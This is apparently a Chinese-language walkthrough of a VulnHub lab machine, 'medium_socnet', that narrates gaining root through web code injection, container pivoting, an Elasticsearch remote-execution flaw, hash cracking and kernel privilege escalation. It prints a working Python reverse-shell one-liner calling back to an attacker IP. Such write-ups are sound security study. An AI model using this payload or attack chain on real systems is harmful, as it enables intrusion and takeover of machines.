medium_socnet 打靶经历
靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
通关目标:拿下目标靶机的 root 权限
简要流程
主机发现及端口扫描:
搭建好靶场后,因为网络连接为 NAT 模式,目标主机和攻击机在同一网段,就用了二层主机发现工具
然后进行服务版本探测:
WEB 探查:
目录扫描:
访问后台地址,进行 shell 反弹
根据网面信息提示,猜测这是一个通过 exec()函数进行代码执行的页面,结合之前使用 nmap 搜集到的信息得知服务端运行的是 python2.7 开发环境,尝试向表单写入一段 python 代码,根据回显结果得知代码被成功执行,进而写入一段 python 反弹 shell 代码 ( 网上搜索或者利用 msf 生成)。
贴一段我用的代码:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
然后再 kali 端开启侦听端口
发现另一个 ip 网段地址和 root 权限,不过在 ls 显示的文件名中有一个 Dockerfile 文件夹,怀疑获得的是 docker 容器的系统权限。通过 ls /.dockerenv 或 cat /proc/1/cgroup 命令判断是否是 docker
根据回显,主机无疑是处于 docker 环境了,在看之前的 ip 地址与目标主机不一致,怀疑是内网 ip,那最简单的判断方法就是 ping 了,但网段有点多就通过循环来 ping 查找内网主机,大致扫了一下发现了 3 个 ip 有回包(正常情况下是全网段都扫)
那接下来就是通过内网穿透将目标主机与攻击机的网络路由打通,我使用的是 venom,先在服务端启动侦听
然后用 python 的 http 模块开放 80 端口
然后在目标机下载客户端
chmod +x test 赋予可执行权限,然后连接服务端
连接成功后,开个 1080 端口的 socks 代理
接着通过 proxychains4 来让其他工具也能通过代理挂载。
更改下配置:
然后通过代理对内网的 ip 进行端口扫描,发现端口与之前访问 ip 的一样
给浏览器也挂个 sock 代理,然后访问 172.17.0.1 发现与 192.168.109.130 内容一致,说明这个就是我们要攻击的主机了,接着对第二个 ip 进行扫描,只发现了 9200 端口,比较熟悉的可能就知道了是 ElasticSearch 远程执行漏洞
接下来就比较简单了,搜一波脚本
获取权限(任然是容器权限),然后 看到个 passwords 文件,进去看看,存放的账号密码,把哈希的密码拿去破解,可以在线网站也可以自己写脚本,获得的账号密码拿去试着登录
发现只有 john 登录成功,但没有提权的权限,那一般提权就是内核漏洞
之前已经知道 linux 版本是 3.13,直接搜一波脚本就欧克了